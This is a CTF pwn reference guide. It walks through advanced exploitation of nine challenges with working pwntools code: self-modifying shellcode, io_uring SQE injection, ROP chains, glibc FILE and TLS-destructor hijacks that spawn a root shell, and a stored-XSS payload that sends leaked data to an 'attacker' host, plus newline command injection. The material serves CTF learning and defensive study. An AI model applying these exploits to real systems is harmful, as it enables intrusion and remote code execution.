CTF Pwn - Advanced Exploit Techniques (Part 2)
Table of Contents
- Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
- io_uring UAF with SQE Injection (ApoorvCTF 2026)
- Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
- GC Null-Reference Cascading Corruption (DiceCTF 2026)
- Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
- Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
- Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
- Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
- atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
Pattern (Registered Stack): Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., push fs → syscall).
Key technique: push fs encodes as 0f a0, and syscall as 0f 05. The validator accepts push fs, but at runtime a preceding push rbx overwrites the a0 byte with 05 on the stack, turning it into syscall.
Exploit structure:
- Use
popinstructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR) - Seed specific stack values for
pop spinstruction (pivots to controlled location) - Place
syscallgadget disguised aspush fswith self-modifying byte mutation - Use
read(0, stage2_buf, size)syscall to load stage 2 - Stage 2 contains interactive shell code
code = []
code += [0x59] * 30 # pop rcx x30 → rsp += 0xf0
code += [0x66, 0x5c] # pop sp → pivot to seeded value
code += [0x50] * 17 # push rax x17 (adjust stack)
code += [0x66, 0x50] # push ax
code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
code += [0x50] * 66 # push rax x66
code += [0x66, 0x59] # pop cx
code += [0x53] # push rbx → overwrites next byte!
# Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
# After push rbx mutates 0xa0 → 0x05: becomes syscall
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]Key insight: Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., 0f a0 → 0f 05). Use preceding instructions to write the mutation byte onto the stack/code region.
io_uring UAF with SQE Injection (ApoorvCTF 2026)
Pattern (Abyss): Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.
Exploitation chain:
- Exhaust both slab allocators (fill all slots)
- Leak PIE base from STATUS response
- FLUSH frees objects (UAF — pointers remain valid)
- Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary)
- Write crafted io_uring SQE into reused memory
- Worker thread submits SQE as-is →
IORING_OP_OPENATopens flag file
io_uring SQE structure for file read:
import struct
def craft_sqe(pie_base, flag_path_offset=0x6010):
sqe = bytearray(64)
struct.pack_into('B', sqe, 0, 0x12) # opcode = IORING_OP_OPENAT
struct.pack_into('i', sqe, 4, -100) # fd = AT_FDCWD
struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset) # addr = "/flag.txt"
return bytes(sqe)Key insight: io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.
Detection: Binary uses io_uring_setup/io_uring_enter syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.
Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
Pattern (Archive): Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.
# Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
# ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
payload = str(65534).encode() # Sends as positive int, server casts to int16Dynamic fd capture via xchg rdi, rax:
In Docker/socat environments, open() may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.
# Standard ORW fails in Docker:
# open("/flag.txt") → fd=5 (not 3!)
# read(3, buf, size) → reads wrong fd
# Fix: xchg rdi, rax captures open()'s return value dynamically
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(flag_str_addr)
rop.raw(pop_rsi)
rop.raw(0) # O_RDONLY
rop.raw(libc.sym.open)
rop.raw(libc_base + 0x181fe1) # xchg rdi, rax; cld; ret
# rdi now holds actual fd from open()
rop.raw(pop_rsi)
rop.raw(buf_addr)
rop.raw(pop_rdx_xor_eax) # pop rdx; xor eax, eax; ret (dual-purpose!)
rop.raw(0x100) # rdx = size, eax = 0 (SYS_read)
rop.raw(libc.sym.read) # read(actual_fd, buf, 0x100)Key insight: xchg rdi, rax; cld; ret is the critical gadget for containerized ORW — it passes open()'s actual return value to read() without hardcoding the fd number. The pop rdx; xor eax, eax; ret gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).
GC Null-Reference Cascading Corruption (DiceCTF 2026)
Pattern (Garden): Custom stack-based VM with mark-compact GC. GC's mark_reachable() follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, memmove copies this fake object first, corrupting adjacent real object headers.
Exploit chain:
Cascading memmove — Set up sacrificial array SAC with
entries[0]=0xFFFF, large array BIG (196 entries) withentries[195]=0x00040005, off-heap object OH- Null-ref GC corrupts SAC's header to
{0,0}(length=0) - SAC's entry
0xFFFFcascades into BIG's header → BIG.length = 0xFFFF (OOB!) - BIG's entry
0x00040005cascades into OH's header → OH stays valid
- Null-ref GC corrupts SAC's header to
OOB expansion — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap
Libc leak — Create 70+ extra objects so GC's
ctx.objsallocation exceeds 0x410 bytes → freed to unsorted bin →main_arenapointers readable via OHHouse of Apple 2 FSOP — Build fake FILE in OH's data buffer:
# Fake FILE structure
fake_file = flat({
0x00: b'$0\x00\x00', # _flags — system("$0") spawns shell
0x20: p64(0), # _IO_write_base = 0
0x28: p64(1), # _IO_write_ptr = 1 (> write_base)
0x88: p64(heap_lock_addr), # _lock (valid writable addr)
0xa0: p64(wide_data_addr), # _wide_data
0xc0: p64(1), # _mode = 1 (triggers wide path)
0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps
})
# Fake _IO_wide_data
fake_wide = flat({
0x18: p64(0), # _IO_write_base = 0
0x30: p64(0), # _IO_buf_base = 0
0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
})
# Fake wide vtable with __doallocate = system
fake_wide_vtable = flat({
0x68: p64(libc.sym.system),
})
# Overwrite _IO_list_all to point to fake FILE- Trigger — Program exit →
_IO_flush_all→ fake FILE →_IO_wfile_overflow→_IO_wdoallocbuf→system("$0")→ shell
system("$0") trick: $0 expands to the shell name when run via system(). Using "$0\x00\x00" as _flags means system(fp) calls system("$0") which spawns a shell.
Key insight: Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.
STORE array pattern for VM stack management: When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.
Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
Pattern (Eyeless): No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake stdout FILE structure on BSS via ROP, then call fflush(stdout) to leak a GOT entry containing a libc address.
The null byte problem: fgets appends \x00 after reading. Libc pointers are 6 bytes + 2 null MSBs (0x00007f...). Writing an 8-byte pointer via fgets corrupts the byte after it with \x00. Directly writing adjacent FILE struct fields is impossible without corruption.
Multi-fgets solution: Chain multiple fgets(addr, 7, stdin) calls, each writing 7 bytes. The null byte from each fgets lands on the next field's null MSB (harmless for libc pointers):
# Build ROP chain that calls fgets multiple times to construct stdout on BSS
# Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
FAKE_STDOUT = BSS + 0x800
# Write _flags field
rop += fgets_call(FAKE_STDOUT, 7) # write 0xfbad2087 + padding
# Write _IO_write_base = GOT address (the value to leak)
rop += fgets_call(FAKE_STDOUT + 0x20, 7) # write &fflush@GOT
# Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
rop += fgets_call(FAKE_STDOUT + 0x28, 7) # write &fflush@GOT + 8
# ... (zero-fill remaining fields via earlier memset or BSS zeroes)
# Overwrite stdout pointer and flush
rop += flat(POP_RDI, FAKE_STDOUT)
rop += flat(elf.plt['fflush']) # fflush(fake_stdout) → writes GOT contentReceiving the leak:
# fflush writes 8 bytes from _IO_write_base to _IO_write_end
leak = u64(p.recv(8))
libc_base = leak - libc.sym.fflushKey insight: fgets always appends \x00, but libc addresses already end with \x00\x00 in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.
When to use: Binary has fgets or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple fgets calls.
Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
Pattern (heapn⊕te-ic): Message structure stores size as signed char but encryption/display casts to unsigned char. Passing size = -112 stores as char(-112), but (unsigned char)(-112) = 144. With a 127-byte buffer, this gives a 17-byte heap overflow.
Key insight: The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from char to unsigned char in C, common when size fields use char instead of size_t.
XOR Cipher Keystream Brute-Force Write Primitive
The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:
def hash_string(s):
h = 5381
for c in s:
h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
return h
def get_keystream_byte(seed, x):
h = hash_string(str(seed).encode())
for _ in range(x // 8):
h = hash_string(str(h).encode())
return p64(h)[x % 8]
def brute_seed(x, target_byte):
for seed in range(0xFFFFFFFF):
if get_keystream_byte(seed, x) == target_byte:
return seedKey insight: Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.
Byte-by-byte write primitive:
def write_byte(pos, target_byte, idx, leak=False):
add(underflow(pos), b"A", brute_seed(pos, target_byte))
if leak:
data = view(idx)
delete(idx)
add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
delete(idx)
return data
def overflow_write(offset, payload, idx):
for i, byte in enumerate(payload):
write_byte(offset + i, byte, idx)Tcache Pointer Decryption for Heap Leak
Allocate two chunks, free in LIFO order. The mangled tcache fd pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:
# fd is mangled: fd = ptr ^ (chunk_addr >> 12)
# When first tcache entry points to NULL (second free):
# fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
# Shift left to recover: heap_addr = fd_pointer << 12
heap_leak = u64(leaked_fd) << 12Key insight: The first entry in a tcache bin has fd = NULL ^ (addr >> 12), so fd << 12 directly yields the heap base region. No brute-force needed.
Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):
# Overwrite adjacent chunk's size field to 0x431
overflow_write(size_offset, p64(0x431), chunk_idx)
# Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
# next_chunk + 0x431 must point to a region with valid size field
# Free the forged chunk → pushed to unsorted bin
# fd/bk now point to main_arena+96
libc_base = u64(leaked_fd) - 0x203b20 # offset to main_arena+96Key insight: Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that chunk_at_offset(p, size)->size has PREV_INUSE set and is reasonable. Pre-place valid metadata at that boundary.
FSOP Stdout Redirection for TLS Segment Leak
Tcache poison toward _IO_2_1_stdout_ - 0x20 to craft a fake FILE structure that leaks the TLS segment address:
# Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
# Craft fake FILE with _IO_write_base pointing to TLS area
# When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
# Scan output for address ending in 0x...740 (TLS alignment pattern)
# TLS mangle cookie is at tls_addr + 0x30Key insight: Redirecting _IO_write_base of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.
TLS Destructor Overwrite for RCE via __call_tls_dtors
The TLS destructor list (__tls_dtor_list) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:
def rol(val, bits, width=64):
return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
# Mangle function pointers with leaked pointer guard
pointer_guard = tls_leak # from stdout FSOP leak
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
# Craft TLS destructor list node
# struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
node1 = p64(0) * 2 # padding
node1 += p64(0x111) # fake chunk size
node1 += p64(encoded_setuid) # func = setuid(0)
node1 += p64(0) # obj = 0 (root)
node1 += p64(heap_addr + node2_offset) * 2 # next → node2
node2 = p64(encoded_system) # func = system("/bin/sh")
node2 += p64(binsh_addr) # obj = "/bin/sh"
node2 += p64(0) # next = NULL (end of list)Full chain: integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → __call_tls_dtors hijack → setuid(0) + system("/bin/sh").
Key insight: __call_tls_dtors iterates a singly-linked list calling PTR_DEMANGLE(func)(obj) for each entry. Demangling is ror(val, 0x11) ^ pointer_guard. To encode: rol(target ^ pointer_guard, 0x11). The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.
When to use: Modern glibc (2.34+) where __free_hook/__malloc_hook are removed and FSOP via _IO_wfile_jumps (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.
Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
Pattern (Revenant): Binary implements a userland shadow stack in .bss — each function call pushes the return address to both the hardware stack and a shadow_stack[] array, validating them on return. The shadow_stack_ptr index increments on every call but is never bounds-checked, allowing it to overflow past the array into adjacent .bss variables.
Binary protections:
- Full RELRO, NX enabled, PIE disabled (fixed addresses)
- SHSTK and IBT enabled (Intel CET — hardware shadow stack)
- No stack canary
.bss memory layout:
0x406000: shadow_stack[512] (512 × 8 = 4096 bytes)
0x407000: username[16] (user-controlled via input)
0x407040: shadow_stack_ptr (index into shadow_stack)
0x407048: shadow_stack_baseExploitation strategy:
- Trigger controlled recursion (e.g.,
do_reset()→play()loop) to incrementshadow_stack_ptrexactly 512 times - After 512 iterations,
shadow_stack_ptrpoints tousername(user-controlled buffer) - Write the
win()address intousernamevia normal input - Overflow the stack buffer to overwrite the hardware return address with
win() - On return, both shadow stack and hardware stack contain
win()— validation passes
Exploit code (pwntools):
from pwn import *
exe = ELF('./revenant')
io = process('./revenant')
# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8 # 512
# Step 1: Write win() address into username buffer
name = fit(exe.symbols["win"])
# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
for i in range(iterations):
io.sendlineafter(b"Survivor name:\n", name)
io.sendlineafter(b"[0] Flee", b"4") # Trigger do_reset() -> play()
# Step 3: Overflow stack buffer with win() address
padding = 56 # offset to return address (32-byte buf + 24 bytes)
payload = fit({padding: exe.symbols["win"]})
io.sendlineafter(b"(0-255):\n", payload)
io.interactive()Key insight: Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is (target_addr - shadow_stack_base) / pointer_size.
Detection pattern: Look for:
.bssarrays used as shadow stacks (paired push/pop with function calls)- Missing bounds check on the index variable
- User-writable
.bssvariables adjacent to (above) the shadow stack array - Recursive function calls controllable from user input
Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
Pattern (Canvas of Fear): Web application wraps a native binary (canvas_manager) behind a Flask API, with admin endpoints restricted to 127.0.0.1. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as y * width + x using a signed 32-bit int. Supplying large y values overflows the multiplication to a negative result, passing the bounds check (index < width * height) while accessing memory before the data buffer — a negative OOB heap write primitive.
Three-layer exploit chain:
- Stored XSS (Flask
|safeJinja filter) → admin bot executes JS at127.0.0.1 - XSS payloads call admin API (Fetch API) → triggers binary commands
- Integer overflow → heap corruption → libc/stack leak → ROP chain
Heap Primitive: Signed Int Overflow in Index Calculation
The pixel index formula y * width + x wraps in 32-bit signed arithmetic:
# For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
# After ×3 for RGB byte offset: -24 bytes before the data buffer
# This overwrites the canvas struct's height field (preceding the data on heap)
cmd(b'SET 1 42 8589934591 0x340000') # overwrite height: 0x32 → 0x34Key insight: The bounds check index < width * height uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.
Full Exploitation Chain
from pwn import *
# Step 1: Create canvases — canvas 3 acts as consolidation blocker
cmd(b'CREATE 1 50 50') # large canvas (target for OOB write)
cmd(b'CREATE 2 20 20') # victim (will be freed for unsorted bin leak)
cmd(b'CREATE 3 20 20') # pivot (data pointer will be overwritten)
# Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
cmd(b'DELETE 2')
# Step 3: Overflow canvas 1's height field (0x32 → 0x34)
cmd(b'SET 1 42 8589934591 0x340000')
# Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
cmd(b'GET 1')
# Parse RGB output: skip to offset 2507, extract fd/bk pointers
# heap_base = unpack(data[2:10]) << 12
# libc.address = unpack(data[34:42]) - 0x1edcc0
# Step 5: Remove size limit for full OOB write
cmd(b'SET 1 42 8589934591 0xffffff')
# Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
# Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
target = unpack(pack(libc.sym["environ"]), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
# Step 7: Read canvas 3 → reads *environ → stack leak
cmd(b'GET 3')
# main_ret = stack_leak - 0x140
# Step 8: Redirect canvas 3 pointer → main's return address on stack
target = unpack(pack(main_ret), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
# Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
pop_rdi = libc.address + 0x2d7a2
ret = libc.address + 0x2c495
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
for i in range(0, len(payload), 3):
block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())
# Step 10: EXIT triggers main() return → ROP chain executes
cmd(b'EXIT')XSS-to-Binary Pwn Bridge
When the binary is behind a web API with admin-only endpoints:
- Stored XSS via Flask
|safe: User messages rendered with{{ msg.content | safe }}bypass Jinja autoescaping. Submit<script type="module">...</script>via the public message endpoint - Admin bot visits
/admin/messagesfrom127.0.0.1→ XSS executes - Multi-stage payloads: Each XSS stage calls admin API endpoints via
fetch(), exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:// Stage 1: trigger heap commands, exfiltrate leak var res = await fetch("/api/canvas/get/1"); var data = await res.json(); await fetch('http://attacker:5000/', { method: 'POST', mode: 'no-cors', body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))}) }); - Newline injection for command stacking: The API uses
pwntools.sendline()to forward user input to the binary. Injecting\nin a parameter (e.g.,"color": "#000000\nEXIT\n") executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:// Inject EXIT without triggering restart, then run shell commands body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"}) // Subsequent requests inject shell commands: body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})
Key insight: The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The environ → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through sendline() enables command stacking.
Detection pattern:
- Index computation using signed int multiplication on user-controlled values
- Bounds check using signed comparison (negative values always pass)
- Adjacent heap allocations where metadata/pointers follow data buffers
- Web API that passes user input directly to
process.sendline()without newline sanitization - Flask templates with
|safefilter on user-controlled content
atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
Pattern: glibc's atexit handlers are protected by PTR_MANGLE, which applies XOR secret + ROT17 to function pointers. With an arbitrary read primitive, recover the mangling secret from a known mangled pointer, then forge arbitrary atexit entries for code execution.
PTR_MANGLE internals:
// glibc pointer mangling:
// mangled = ROL17(ptr ^ secret)
// original = ROR17(mangled) ^ secret
// The secret is stored in TLS at a fixed offset from the thread control block
// (fs:[0x30] on x86-64)Recovering the secret:
from pwn import *
def ror17(val, bits=64):
"""Rotate right by 17"""
return ((val >> 17) | (val << (bits - 17))) & ((1 << bits) - 1)
def rol17(val, bits=64):
"""Rotate left by 17"""
return ((val << 17) | (val >> (bits - 17))) & ((1 << bits) - 1)
# Step 1: Read a mangled pointer from the initial atexit list
# The first entry is typically _dl_fini, registered by the dynamic linker
mangled_ptr = arb_read(atexit_list_addr + FUNC_PTR_OFFSET)
# Step 2: If you know the original function address (e.g., _dl_fini):
secret = ror17(mangled_ptr) ^ known_dl_fini_addr
# Step 3: Forge your own mangled pointer to target function
forged = rol17(target_addr ^ secret)
# Step 4: Overwrite atexit entry with forged pointer
arb_write(atexit_list_addr + FUNC_PTR_OFFSET, forged)
# Normal program exit calls the forged handler → code executionFinding _dl_fini remotely (without server's ld.so):
# ld.so is loaded immediately after libc in the address space
# Scan forward from end of libc for the ELF header (4KB-aligned)
ld_base = None
scan_addr = libc_end
while True:
page = arb_read(scan_addr, 4)
if page == b'\x7fELF':
ld_base = scan_addr
break
scan_addr += 0x1000 # 4KB page alignment
# Read ld.so's ELF header to find entry point
ehdr = arb_read(ld_base, 0x40)
e_entry = u64(ehdr[0x18:0x20]) # ELF entry point (offset in file)
# _dl_fini is referenced from ld.so's _start via: lea rdx, [rip+X]
# Read the instruction bytes at the entry point to decode the offset
entry_code = arb_read(ld_base + e_entry, 0x20)
# Parse lea rdx, [rip+X] (opcode: 48 8d 15 XX XX XX XX)
lea_offset = entry_code.index(b'\x48\x8d\x15')
rip_offset = u32(entry_code[lea_offset+3:lea_offset+7])
dl_fini = ld_base + e_entry + lea_offset + 7 + rip_offsetKey insight: glibc's PTR_MANGLE uses XOR secret + ROT17. The secret is stored in TLS at a fixed offset from the thread control block. If you can read ANY mangled pointer whose original value is known (like _dl_fini in the initial atexit list), you can recover the secret and forge arbitrary mangled pointers. The initial atexit list always contains _dl_fini as the first registered handler, making it the ideal known-plaintext target.
When to recognize: Challenge provides an arbitrary read primitive and you need code execution via exit handlers. Also applies to any glibc structure using PTR_MANGLE (TLS destructors, __exit_funcs, longjmp buffers). The same XOR+ROT17 scheme protects all of them with the same per-thread secret.
References: 0x00CTF 2017